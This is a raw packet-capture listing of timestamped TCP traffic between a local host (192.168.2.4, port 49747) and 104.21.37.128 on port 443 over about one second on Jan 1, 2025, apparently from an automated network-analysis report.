Jan 1, 2025 16:44:42.738966942 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.738987923 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.739026070 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.739029884 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.739072084 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.739500046 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.819890022 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.819914103 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.820152044 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.820161104 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.820213079 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.820722103 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.820740938 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.820806026 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.820811033 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.820858955 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822365999 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822386026 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822463989 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822468996 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822526932 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822607994 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822628021 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822663069 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822666883 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822699070 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822736025 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822741985 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822748899 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822771072 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822789907 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822794914 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.822824955 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.822844982 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825179100 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825198889 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825259924 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825265884 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825309038 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825521946 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825546026 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825587034 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825592041 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825620890 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825639963 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825802088 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825822115 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825930119 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825933933 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.825963974 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.825979948 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.827557087 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.906805992 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.906826019 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.907052040 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.907058001 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.907144070 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.907741070 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.907759905 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.907808065 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.907812119 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.907845020 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.907862902 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909121037 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909138918 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909198046 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909202099 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909230947 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909252882 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909420013 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909445047 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909499884 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909506083 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909547091 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909634113 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909652948 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909725904 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.909730911 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.909771919 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.911997080 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912014961 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912076950 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912081003 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912121058 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912422895 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912441969 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912478924 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912482977 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912509918 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912528038 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912586927 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912606955 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912642956 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912647009 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.912678003 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.912692070 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.915294886 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.993776083 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.993802071 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.993860960 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.993866920 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.993911982 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.994654894 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.994676113 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.994730949 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.994735003 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.994761944 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.994781971 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.995989084 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996007919 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996056080 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996061087 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996088982 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996109009 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996303082 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996321917 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996356010 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996360064 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996387005 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996407032 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996486902 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996505022 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996562958 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.996567965 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.996625900 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.998927116 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.998944044 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999000072 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.999005079 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999047041 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.999140978 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999160051 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999193907 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.999197960 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999226093 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.999245882 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.999763012 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999780893 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999838114 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:42.999844074 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:42.999885082 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.002424002 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.080743074 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.080764055 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.080930948 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.080943108 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.081051111 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.081459045 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.081476927 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.081531048 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.081536055 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.081573009 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.082752943 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.082778931 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.082829952 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.082837105 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.082870007 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.082880974 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.083111048 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.083131075 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.083183050 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.083188057 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.083215952 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.083434105 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.083457947 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.083491087 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.083496094 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.083523035 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.083554029 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.085774899 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.085794926 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.085856915 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.085861921 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.085906029 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.085966110 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.085987091 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.086024046 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.086028099 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.086055040 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.086064100 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.086400032 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.086417913 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.086472034 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.086474895 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.086509943 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.086929083 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187186003 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187207937 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187263966 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187297106 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187418938 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187434912 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187441111 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187453032 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187486887 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187587976 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187609911 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187634945 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187640905 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187726974 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187750101 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187774897 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187805891 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187809944 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187844038 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187967062 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.187971115 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.187982082 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188002110 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188034058 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.188038111 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188072920 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.188075066 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188096046 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188126087 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.188133955 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188165903 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.188420057 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188442945 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188476086 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.188482046 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.188505888 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.190927029 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274064064 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274085999 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274163008 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274169922 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274214029 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274431944 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274457932 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274502993 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274507046 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274538994 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274548054 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274753094 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274772882 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274823904 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274827957 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.274857044 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.274868011 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.275058031 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.275078058 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.275120020 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.275125027 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.275149107 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.275161982 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.275352955 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.275377035 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.275417089 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.275420904 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.275449991 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.275463104 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.276793957 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.276812077 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.276856899 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.276860952 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.276890993 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.276909113 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.276994944 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.277015924 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.277050972 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.277054071 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.277081013 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.277098894 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.277312994 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.277406931 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.277427912 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.277466059 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.277471066 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.277503014 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.277508974 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.280057907 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.361088037 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361109018 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361272097 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361294985 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.361294985 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.361301899 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361331940 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.361383915 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.361696005 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361713886 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361748934 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.361752033 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.361768961 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.362031937 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.362055063 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.362087965 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.362092972 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.362114906 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.362521887 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.362540007 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.362574100 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.362579107 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.362601995 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.363667965 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.363699913 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.363737106 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.363742113 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.363764048 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.363974094 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.364000082 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.364033937 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.364042997 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.364059925 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.364278078 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.364325047 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.364392042 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.364412069 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.364439011 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.364444017 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.364468098 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.367161036 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.447566986 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.447599888 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.447678089 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.447685957 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.447729111 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.447765112 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.447784901 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.447839022 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.447843075 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.447882891 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448142052 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448159933 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448201895 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448205948 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448235989 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448254108 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448331118 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448349953 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448388100 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448391914 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448419094 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448437929 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448664904 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448683977 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448724031 CET	49747	443	192.168.2.4	104.21.37.128
Jan 1, 2025 16:44:43.448729038 CET	443	49747	104.21.37.128	192.168.2.4
Jan 1, 2025 16:44:43.448755026 CET	49747	443	192.168.2.4	104.21.37.128
